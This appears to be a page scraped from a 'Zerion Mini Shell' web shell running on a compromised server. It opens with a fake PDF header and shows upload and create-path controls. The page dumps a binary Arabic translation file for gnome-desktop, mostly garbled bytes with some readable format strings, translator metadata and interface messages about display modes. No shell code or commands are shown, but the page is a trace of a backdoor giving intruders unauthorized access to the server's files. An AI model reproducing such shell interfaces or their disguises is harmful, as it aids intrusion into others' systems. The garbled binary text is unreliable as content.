%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/gnome-46-2404/153/usr/share/locale/ar/LC_MESSAGES/
Upload File :
Create Path :
Current File : //snap/gnome-46-2404/153/usr/share/locale/ar/LC_MESSAGES/gnome-desktop-3.0.mo

��!085@8������
-CO	^hu����-��
��.CKQi&n���%�F�21d	l	
x	�	�	�	�	�	�	�	
 
4
H
`
l
|
H�
�
�
%K(t�<��B�&8E9cc�
 
	!
T`lx�������H\�
����"
+����M
%����r
�����@����ZE�����j����	����>$
����r�����j,-$#�����%�����	 ����_i����%R%R:%S%a %R%a %R:%S%a %b %-e_%R%a %b %-e_%R:%S%a %b %-e_%l:%M %p%a %b %-e_%l:%M:%S %p%a %l:%M %p%a %l:%M:%S %p%b %-e_%R%b %-e_%R:%S%b %-e_%l:%M %p%b %-e_%l:%M:%S %p%l:%M %p%l:%M:%S %pAbegedeCould not find thumbnailer for mime-type '%s'CyrillicDevanagariFailed to create folder '%s'File %s does not have a preview icon attributeIQTElifLatinNo loadable icon for %sSahoThe output folder '%s' is not writableUnspecifiedValenciacannot clone to output %scould not assign CRTCs to outputs:
%snone of the selected modes were compatible with the possible modes:
%sProject-Id-Version: gnome-desktop HEAD
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-desktop/issues/
PO-Revision-Date: 2025-07-16 20:56+0300
Last-Translator: Ali Galal <engalali9@gmail.com>
Language-Team: Arabic
Language: ar
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: Gtranslator 48.0
Plural-Forms: nplurals=6; plural= n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 && n%100<=10 ? 3 : n%100>=11 && n%100<=99 ? 4 : 5;
X-DL-Lang: ar
X-DL-Module: gnome-desktop
X-DL-Branch: master
X-DL-Domain: po
%OH:%OM%OH:%OM:%OS%A %OH:%OM%A %OH:%OM:%OS%A %-Oe %B_%OH:%OM%A %-Oe %B_%OH:%OM:%OS%A %-Oe %B_%-Ol:%OM %p%A %-Oe %B_%-Ol:%OM:%OS %p%A %-Ol:%OM %p%A %-Ol:%OM:%OS %p%-Oe %B_%OH:%OM%-Oe %B_%OH:%OM:%OS%-Oe %B_%-Ol:%OM %p%-Oe %B_%-Ol:%OM:%OS %p%-Ol:%OM %p%-Ol:%OM:%OS %pأبيجيديتعذَّر العثور على مصغر صور لنوع mime ‏«%s»السيريليةالديفاناغاريةفشل إنشاء المجلد «%s»لا يحتوي الملف %s على سمة لأيقونة المعاينةایدیل-اورالاللاتينيةلا يوجد أيقونة قابلة للتحميل لـ %sساهومجلد الإخراج «%s» لا يمكن الكتابة فيهغير محددةبلنسيةتعذر نسخ الخرج %sتعذَّر إسناد CRTC إلى المخرجات: 
%sكل الأوضاع المحدّدة غير متوافقة مع الأوضاع المحتملة:
%sICRTC %d cannot drive output %soutput %s does not support mode %dx%d@%dHzCRTC %d does not support rotation=%doutput %s does not have the same parameters as another cloned output:
existing mode = %d, new mode = %d
existing coordinates = (%d, %d), new coordinates = (%d, %d)
existing rotation = %d, new rotation = %dTrying modes for CRTC %d
CRTC %d: trying mode %dx%d@%dHz with output at %dx%d@%dHz (pass %d)
required virtual size does not fit available size: requested=(%d, %d), minimum=(%d, %d), maximum=(%d, %d)تعذَّر على CRTC %d تحريك الخرج %sلا يدعم الخرج %s وضع %dx%d@%dهرتزلا يدعم CRTC %d دوران=%dليس للخرج %s نفس المعاملات لخرج آخر مستنسخ:
الوضع الموجود = %d، الوضع الجديد = %d
الإحداثيات الموجودة = (%d، ‏%d)، الإحداثيات الجديدة = (%d، ‏%d)
الدوران الموجود = %d، الدوران الجديد = %dتُجرَّب أوضاع لـ CRTC %d
‏CRTC %d: يجرّب وضع %dx%d@%dهرتز مع خرج وضعه %dx%d@%dهرتز (المرة %d)
المقاس المبدئي المطلوب لا يُطابق المقاس المتاح: المطلوب=(%d، ‏%d)، الأدنى=(%d، ‏%d)، الأقصى=(%d، ‏%d)

Zerion Mini Shell 1.0